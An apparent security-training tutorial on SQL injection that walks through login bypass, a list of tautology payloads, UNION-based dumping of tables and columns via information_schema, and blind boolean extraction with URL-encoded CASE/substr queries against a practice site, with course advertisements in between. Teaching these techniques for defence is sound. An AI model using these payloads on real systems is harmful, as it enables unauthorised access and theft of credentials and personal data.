What is SQL Injection?

SQL Injection is a web based attack used by hackers to steal sensitive information from organizations through web applications. It is one of the most common application layer attacks used today. This attack takes advantage of improper coding of web applications, which allows hackers to exploit the vulnerability by injecting SQL commands into the prior web application.

The underlying fact that allows for SQL Injection is that the fields available for user input in the web application allow SQL statements to pass through and interact with or query the database directly.

For example, let us consider a web application that implements a form-based login mechanism to store the user credentials and performs a simple SQL query to validate each login attempt. Here is a typical example:

select * from users where username=’admin’ and password=’admin123′;

If the attacker knows the username of the application administrator is admin, he can login as admin without supplying any password.

admin’–

The query in the back-end looks like:

Select * from users where username=’admin’–’ and password=’xxx’;

Note the comment sequence (–) causes the followed query to be ignored, so query executed is equivalent to:

Select * from users where username=’admin’;

So password check is bypassed.

Different types of SQL Injections

There are 3 different kinds of SQL Injections possible on web applications. They are:

  • In-band
  • Out-band
  • Inferior

In-band:

This is also called Error-based or Union based SQL Injection or first order Injection. The application is said to be vulnerable to In-band when the communication between the attacker and the application happens through a single channel. I.e. the attacker uses the same channel to enter the malicious string and to retrieve the data from the database. This is a straight forward technique. The application directly displays the retrieved data on the web pages.

Confirming the Vulnerability:

Consider an example:

http://192.168.2.3/

The above URL is an In-band SQLI vulnerable practice site. We can get these practice sites from Google.
By accessing the URL, the browser displays the home page as shown in figure (a):


Figure (a)

Now let us try to confirm the vulnerability by simply adding a single quote at the end of the URL:

http://192.168.2.3/ ‘

The above URL shows an error on the web page, saying “Error in your SQL Syntax”. This is because of an extra single quote (‘) that we have entered through the URL into the query in the background. So by seeing the error we can understand that the URL is vulnerable to In-band SQLI. Figure (b) shows you the error occurred due to concatenating the special character (‘).


Figure (b)

If single quote (‘) is blocked, then we can try using “or 1=1 –” or “and 1=1″ at the end of the URL :

http://192.168.2.3/news-and-events.php?id=22 or 1=1 –

Or

http://192.168.2.3/news-and-events.php?id=22 and 1=1 –

The above URL shows the same page that has been displayed while accessing the URL: http://192.168.2.3/news-and-events.php?id=22 . This is because the condition that we have entered at the end of the URL is always true.

Now try to access by entering the string “or 1=0–”or “and 1=0–”. So the URL looks like: http://192.168.2.3/news-and-events.php?id=22 or 1=0–

Or

http://192.168.2.3/news-and-events.php?id=22 and 1=0–

Now we will not be able to access the page, because the condition “1=0″ is always false. Figure (c) shows the page when accessed with the false condition.


Figure (c)

Then we can confirm that the URL is vulnerable to SQLI.

The string listed in the below table can be used to confirm SQL Injection:

or 1=1

‘or 1=1

“or 1=1

or 1=1–

‘or 1=1–

“or 1=1–

or 1=1#

‘or 1=1#

“or

1=1#

or 1=1/*

‘or 1=1/*

“or 1=1/*

or 1=1;%00

‘or 1=1;%00

“or 1=1;%00

‘or’

‘or

‘or’–

‘or–

or a=a

‘or a=a

“or a=a

or a=a–

‘or a=a –

“or a=a–

or ‘a’=’a’

‘or ‘a’=’a’

“or ‘a’=’a’

‘)or(‘a’=’a’

“)”a”=”a”

‘)’a’=’a

‘or”=’

You can try all the combinations for string “or a=a” that we have tried for “or 1=1″….. Like #,–, /* etc…

Extracting-Information:

Moving further, we can extract or dump the complete database by using “UNION” and “SELECT” commands.

Finding-the-DBMS:

We can find out DBMS type (MS-SQL, MYSQL, ORACLE) by using the unique functions of the appropriate database. For example to find out the database user, all the above databases have different syntax.

MS-SQL: user_name()

MYSQL: user ()

ORACLE: select user from dual;

So let us try to find the DBMS of our SQLI vulnerable site. As a first trial I am entering “user_name()” at the place where we had “2″.

http://192.168.2.3/news-and-events.php?id=-22 union select 1,user_name(),3,4,5,6,7

The above URL gives an error saying “Function user_name doesn’t exist”. Which means the DBMS isn’t MS-SQL.


Figure (d)

Figure (d) shows that the DBMS isn’t MS-SQL

Now let’s try with “user ()”

http://192.168.2.3/news-and-events.php?id=-22 union select 1,user(),3,4,5,6,7

The above URL display the user name of the DBMS. So we confirm that the DBMS is MYSQL.

Want to learn more?? The InfoSec Institute Ethical Hacking course goes in-depth into the techniques used by malicious, black hat hackers with attention getting lectures and hands-on lab exercises. While these hacking skills can be used for malicious purposes, this class teaches you how to use the same hacking techniques to perform a white-hat, ethical hack, on your organization. You leave with the ability to quantitatively assess and measure threats to information assets; and discover where your organization is most vulnerable to black hat hackers. Some features of this course include:

  • Dual Certification - CEH and CPT
  • 5 days of Intensive Hands-On Labs
  • Expert Instruction
  • CTF exercises in the evening
  • Most up-to-date proprietary courseware available


Figure (e)

Figure (e) shows the database user name which proves that the DBMS is MYSQL.

So we can use all the MYSQL functions in the place of 2,3,5,7 and dump the database on the web page.

Finding-number-of-columns:

Let us try to find out the number of columns in the table using UNION. The URL looks like:

http://192.168.2.3/news-and-events.php?id=22 union select NULL

An error displays in the page saying, “Select statement having different number of columns”. Now we understand that there are more than one column in the table.

Figure (f)

Figure (f) shows the error message occurred by accessing the web site using the above URL. (Using select NULL).

So try adding one more NULL:

http://192.168.2.3/news-and-events.php?id=22 union select NULL, NULL

If we are still receiving the same error, then we keep on adding the NULL to the query and try to find out the number of columns in the table.

http://192.168.2.3/news-and-events.php?id=22 union select NULL, NULL, NULL, NULL, NULL, NULL, NULL.

The above string gives you the same page as the initial URL, as the number of columns in the table is seven.

Figure (g)

Figure (g) shows the page when accessed with above URL. (Using seven NULL’S).

We can also use “ORDER BY” for finding out the number of columns in table.

http://192.168.2.3/news-and-events.php?id=22 order by 7–

So we can understand that there are seven columns in the table.

Now here is the trick. Where will we be able to see the extracted data from the database?

Just add a negative sign before the ID value. Then the data appears on the web page straight away.

http://192.168.2.3/news-and-events.php?id=-22 union select 1,2,3,4,5,6,7

(Note: Negative sign (-) before 22)

Then the application displays some of the numbers on the web page. The above URL displays 2,3,5,7 on the web page.

Figure (h)

Figure (h) shows the numbers displayed on the web page.

Finding the version and getting the databases:

http://192.168.2.3/news-and-events.php?id=-22 union select 1,@@version,database(),4,5,6,7

Figure (i)

Figure (i) display the database version “5.0″ and the database “nilakantatrust”.

Extracting Tables from the database:

Now let us try extracting all the tables from the database “nilakantatrust”.

http://192.168.2.3/news-and-events.php?id=-22 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()—

Figure (j)

Figure (j) shows all the tables dumped from the database “nilakantatrust”.

Information_schema is the table which contains meta-data, nothing but information about all the tables and columns of the database.

Extracting columns from the tables:

http://192.168.2.3/news-and-events.php?id=-22 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database()–

Figure (k)

Figure (k) displays all the columns of the tables in the database “nilakantatrust”. We can look at all the columns and then dump the interesting columns like passwords, SSN, credit card numbers, etc.

Out Band:

This kind of an attack uses two different channels for communication between attacker and the application. Modern DBMS has very powerful applications, and their features go behind simply returning the data to the users. They can be instructed to send an e-mail and they can also interact with the file system. All of these functionalities are very helpful for an attacker. The attacker establishes a direct connection to the database through one channel to insert the data or the malicious string into the database. DBMS responds through a new channel, like e-mail, or executing the commands using xp_cmdshell etc….

Inferred:

This is also known as Blind – SQL – Injection. Here the server doesn’t respond with any syntax error or other means of notification. This is very similar to normal SQL Injection, but when attacked, the server doesn’t send any data to the attacker. The attacker needs to retrieve the data by asking true or false questions through SQL commands.

The attacker needs to execute his commands by observing the response of the application. This makes exploiting a SQL Injection attack more difficult but not impossible.

Now let’s have some practice:

http://192.168.2.3/news-and-events.php?id=22 and 1=1 –

The above URL gives the same data as the original site.

http://192.168.2.3/news-and-events.php?id=22 and 1=0 –

Above URL shows an error on the web page, as I explained to you previously (in “in-band” type).

Finding

-the-DBMS:

To find out the DBMS used by the application we need to make use of different pre-defined functions available for different databases.

For example:

To find out the user name of the database, the following syntax is used by different DBMS:

  • MS-SQL: user_name()
  • Mysql: user()
  • Oracle: select user from dual

You can know the difference from the cheat-sheet available at www.pentestmonkey.net

So, let us find out the DBMS using the above functions ;)

Accessing the URL: http://192.168.2.3/news-and-events.php?id=21 gives you a white page:

Figure (l)

Observe the white page in Figure (l), which is different from the URL: http://192.168.2.3/news-and-events.php?id=22 as we have seen the page previously. By observing this difference we can extract the DBMS type of the application.

Let us check whether the application is using MS-SQL:

http://192.168.2.3/news-and-events.php?id=21%2b(select%20case%20when%20(select%20user_name())%20then%200%20else%201%20end%20)–

In the above URL I am trying to add 1 to the ID ’21′ based on the condition. When we access the URL with ID=21 we get the page as shown in Figure (m) and when we access URL with ID=22 we get the home page as shown in Figure (a).

In the URL %2b indicates ‘+’ and %20 indicates ‘ ‘ (space). It is called URL encoding. When a particular symbol is filtered we can pass those symbols by encoding using different encoding techniques available.

And the condition in the query is framed using “case” statement along with “user_name” (A pre-defined function in MS-SQL to return DB user name). If the function user_name() is found then the condition returns ’1′ which makes the ID=22, else it returns ’0′ and the ID remains ’21′.

Figure (m)

Figure (m) shows blank page which confirms that the DBMS isn’t MS-SQL. So now, let us check for “MYSQL”.

http://192.168.2.3/news-and-events.php?id=21%2b(select%20case%20when%20(select%20user())%20then%200%20else%201%20end)–

The above URL shows the page with ID=22, which confirms that the DBMS is MYSQL.

Finding the version:

To find the database version we can use ‘substring’ function in MYSQL. Observe the below URL:

http://192.168.2.3/news-and-events.php?id=22%20and%20substr(@@version,1,1)=5–

If the database version is ’5′ then the substring function returns ’5′ (as we are trying to extract only one character), where we are comparing the resultant value with ’5′. Then if we are able to see the home page, we can confirm that the database is something like 5.x.x version.

If the URL doesn’t pop up the home page, then we can try changing the comparing value to 4,3 etc…

To find the exact version of the database we need to compare the second character of the version. For example:

substr(@@version,2,1)=0
substr(@@version,3,1)=1

So, by observing the responses of the application we can extract a complete version of the database.

Finding the User Name of the database:

We can find out the user name of the database by using both ‘case’ statement and ‘substring’ function.

http://192.168.2.3/news-and-events.php?id=22%2b%20(select%20case%20when%20(substr(user(),1,1)=’a’)%20then%200%20else%201%20end)–

Based on the responses of the application, keep on changing the character in the function substr().
Once we get the first letter of the user name, then move on to find out the second letter.

For example:

substr(user(),2,1)=’r’
substr(user(),3,1)=’b’ ….

In this fashion, to find out a single character in the user name, we have to send more than 200 requests with all possible ASCII characters to the server. This technique can be optimized we can extract a single character from the database with in 8 requests.

Conclusion:

SQL Injection is a technique which is used to dump a complete database of the application by including few portions of SQL statements in the entry field or the URL.

INTERESTED IN LEARNING MORE? CHECK OUT OUR ETHICAL HACKING TRAINING COURSE. FILL OUT THE FORM BELOW FOR A COURSE SYLLABUS AND PRICING INFORMATION.

References:

http://www.databasesecurity.com/webapps/sqlinference.pdf

https://www.owasp.org/index.php/SQL_Injection